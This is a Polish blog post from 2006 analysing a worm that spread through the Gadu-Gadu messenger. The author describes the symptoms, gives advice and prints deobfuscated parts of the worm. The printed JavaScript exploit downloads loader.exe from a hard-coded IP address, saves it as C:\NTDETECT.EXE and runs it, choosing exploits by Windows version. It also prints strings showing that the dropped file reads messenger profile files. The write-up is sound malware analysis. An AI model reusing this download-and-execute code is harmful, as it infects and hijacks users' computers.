eRIZ's weblog

PHP, webdesign, Linux, Windows i inne, bo nie samym chlebem człowiek żyje

Gadu-Padu – trojanik

Zaaktualizowano: 27 grudnia 2006 (zobacz modyfikację)

Przez ostatnie dwa dni zauważyłem w opisach wielu ludzi tekst podobny do tego: „padło mi gg” albo „nie dochodzą moje wiadomości”. Heh, myśle sobie, że może serwerek uznał delikwentów za spammerów, bo korzystali z inwigilatorów. Ale nieee, sprawa jest chyba trochę grubsza, na dodatek – na skalę masową. Od wczoraj komunikacja większości osób przebiega przez opisy. Na domiar złego dzisiaj dostaję sznurek z opisem:

wybuch w niemczech www.supercqb.com/material_2006_19_11_14970.html

Wcześniej dostał to brat i jak zwykle do niego „odpal to”. No co? Trzeba wiedzieć, co to jest, nie? :D

Ok, tak jak podejrzewaliśmy – trojanik. Kiedyś czytałem, że powstał robak typu proof-of-concept napisany na potrzeby GS, który wysyła wiadomości do wszystkich z listy. Oczywiście w treści był link do niego samego, czyli taka matrioszka.

Po otwarciu linku uruchamia się strona do złudzenia podobna do about:blank (czyli do czystej). Zaglądam pod maskę, a tam zaszyfrowany kod. Trochę zawiły algorytm, ale mnie się na razie nie chce go odszyfrować :P

Robak ten wykorzystał pewnie owego PoC, bo link doń prowadzący dostałem już od kilku osób.

Wspomniałem, że GS blokuje osoby spammujące (czyli wysyłające więcej niż ileśtam wiadomości w ciągu minuty). Jeśli ktoś ma rozbudowaną listę, to trojan bardzo szybko wykorzysta ten limit. Podejrzewam, że właśnie to jest przyczyną problemów.

Istnieje również opcja, że robak posiada wbudowaną obsługę protokołu, a dane wyciąga sobie z profilu użytkownika, więc mógłby egzystować nawet bez zainstalowanego GS (np. na chwilę instalujesz, by konto założyć, wywalasz, ale profil zostawiasz).

Jakie jest rozwiązanie? Przeskanować kompa na obecność wirusów i napisać do autorów GG z prośbą o odblokowanie numeru lub założyć sobie nowy…

Najlepiej, oczywiście, nie korzystać z oryginalnego klienta GS. :P Jak już wcześniej wspomniałem, istnieje opcja, że trojan wykorzystuje pozostałości po profilu użytkownika.

UWAGA: Przed skanowaniem antywirusem upewnij się, że masz najnowsze bazy!!!

edit: Brat wysłał maila do GG i dostał taką odpowiedź:

Blokady zakładane i zdejmowane sa automatycznie. Czas ich trwania zalezy od popełnionego wykroczenia. Zazwyczaj jest to od kilku godzin do kilku dni. Proszę zatem uzbroić się w cierpliwość.

UPDATE

Dzisiaj zaatakował inny trojan. Rozsyła się przez inny link: www.hsqvyrpzeh.info/?awbiby.jpg. W celu zamaskowania podaje losową wartość query string (tą po znaku zapytania). Tym razem, zapewne w celu ukrycia przed osobami, które chciałyby ostrzec innych, robak sprawdza user-agent i gdy używamy IE – przesyła kod (oczywiście zaszyfrowany). Analizując rozpracowany kod można doszukać się ciekawych fragmentów:



function Get_Win_Version(IE_vers) //funkcja "przydatna" w dalszej części kodu

//poszukajmy folderu autostartu :P
try {
var obj_WScript = obj_RDS.CreateObject("WScript.Shell","");
}catch(e){};
try {
var wshProcEnv = obj_WScript.Environment("PROCESS");
hdrive=wshProcEnv("HOMEDRIVE");
dtemp=wshProcEnv("TEMP");
} catch(e){};

if (hdrive == "") {
hdrive="C:";
}
try {
dstart=obj_WScript.SpecialFolders("Startup");
}

//teraz dopiero się zacznie - exploit ściąga trojanika z sieci
obj_msxml2.open("GET","http://66.185.126.34:1080/vnew/loader.exe",false);
obj_msxml2.send();
obj_adodb.type = 1;
obj_adodb.open();
obj_adodb.Write(obj_msxml2.responseBody);

//dobra, wiemy, że programik zapisał się w autostarcie, ale sensu tego poniżej nie rozumiem... Po co zapisywać w koszu?
fn = "C:\\RECYCLER\\"+Math.round(Math.random()*(1000000-1)+10000)+".exe";
obj_adodb.SaveToFile(fn,2);

//o yeah, let's dance - popatrz, gdzie jesteśmy :D
//początkowo umknie oku, ale w oryginale mamy inne rozszerzenie
var fn = "C:\\NTDETECT.EXE";
obj_adodb.SaveToFile(fn,2);
obj_adodb.close();
obj_ShellApp.ShellExecute(fn);
//w ten sposób spada ryzyko ręcznego usunięcia, bez udziału AV

//robaczek działa na każdej wersji Windows:
var agt=getProperties(navigator).toLowerCase();
if(navigator.appName=="Microsoft Internet Explorer"){
var IEversion=navigator.appVersion;
var IEplatform=navigator.platform;
if(IEplatform.search("Win32") != -1){
var WinOS=Get_Win_Version(IEversion);

switch (WinOS){
case "XPSP2":
rds();
wvf();
break;

case "XP":
mdac();
java();
setTimeout('wvf()',3000);
break;

case "2K":
mdac();
java();
xml();
break;

case "2K3":
mdac();
java();
xml();
break;

case "98":
mdac();
java();
xml();
break;

case "ME":
mdac();
java();
xml();
break;

case "NT":
mdac();
java();
xml();
break;

case "95":
mdac();
java();
xml();
break;

default:
rds();
break;
}
}
}
//...łącznie z Windows 2003

Wcześniej jest jeszcze zaszyfrowany kawałek kodu.

OK, exploit już się uruchomił, zobaczmy, co mamy dalej. Ściągnięty i urchomiony został exec wielkości ~42KB. Co w nim mamy? Otóż, staranność jego zaszyfrowania już nie jest taka, z jaką mieliśmy do czynienia w explocie. Podejrzałem sobie delikwenta. Przy końcu pliku można zauważyć coś takiego:


//trochę "emotów", żeby wysyłane wiadomości wyglądały jak prawdziwe; nie wiem, czy ta tablica jest w rzeczywistości używana, ale - z tego, co widziałem - nie

//i główna procedura wysyłania - otwiera się zwykłe gniazdko do hosta gg:
GET /appsvc/appmsg4.asp?fmnumber=%ld&version=6%%2C+1%%2C+0%%2C+158&fmt=2&lastmsg=3553 HTTP/1.0
Host: appmsg.gadu-gadu.pl
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */\*
Accept-Language: pl
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
Pragma: no-cache

//sprintf - szukamy pliku konfiguracyjnego profilu
%s\Gadu-Gadu\* sprintf %s\Gadu-Gadu\%s\config.dat sprintf %s\Gadu-Gadu\%s\smseab.dat

Czyli miałem wcześniej rację – exploit jest samowystarczalny. Wystarczy, że ktoś będzie miał zainstalowane samo GS i trojan sam sobie poradzi. Działanie jest takie samo, jak wcześniej – znaleźć profil, rozesłać się – zablokować profil. Nihil novi…

Zauważyłem nowy objaw: od osób z zainfekowanym kompem trojan wysyła kilkuznakowe, losowe ciągi znaków + któryś z emotów.

24 komentarze

dopisz swój :: trackback :: RSS z komentarzami

RSS z komentarzami :: trackback

Skomentuj

Możesz używać znaczników XHTML. Dozwolone są następujące tagi: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre lang="" line="" escaped="" cssfile="">

Wszystkie komentarze przechodzą przez moderację oraz filtry antyspamowe. Nie zostanie opublikowany komentarz, jeśli:

  • Jego treść obraża kogokolwiek.
  • W treści znajdują się wulgaryzmy i słownictwo ogólnie uznane za nieprzyzwoite.
  • Mam wątpliwości co do autora wpisu (Wszelkie anonimy są kasowane - niezależnie od zawartości - wpisz prawdziwy e-mail. Jeśli usunąłem, Twoim zdaniem, komentarz niesłusznie - daj znać). Zdarza się, iż sprawdzam kim jest komentujący.
  • Zawiera jakąkolwiek formę reklamy.

Warning: Undefined variable $user_ID in /usr/home/er1zpl/domains/eriz.pcinside.pl/public_html/weblog/wp-content/themes/inBlueDiary/comments.php on line 112

Szufladka